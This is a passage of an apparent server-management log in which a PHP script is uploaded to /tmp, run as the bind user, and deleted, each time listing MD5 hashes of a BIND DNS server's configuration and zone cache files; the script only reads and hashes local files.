		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:23:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp891764; rm /tmp/pkp891764'

2026-04-30 17:23:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:24:01: Establishing a connection
2026-04-30 17:24:01: 

PUT: /tmp/pkp997223

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:24:01: 

runuser -l bind -s /bin/bash -c '/tmp/pkp997223; rm /tmp/pkp997223'

2026-04-30 17:24:01: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
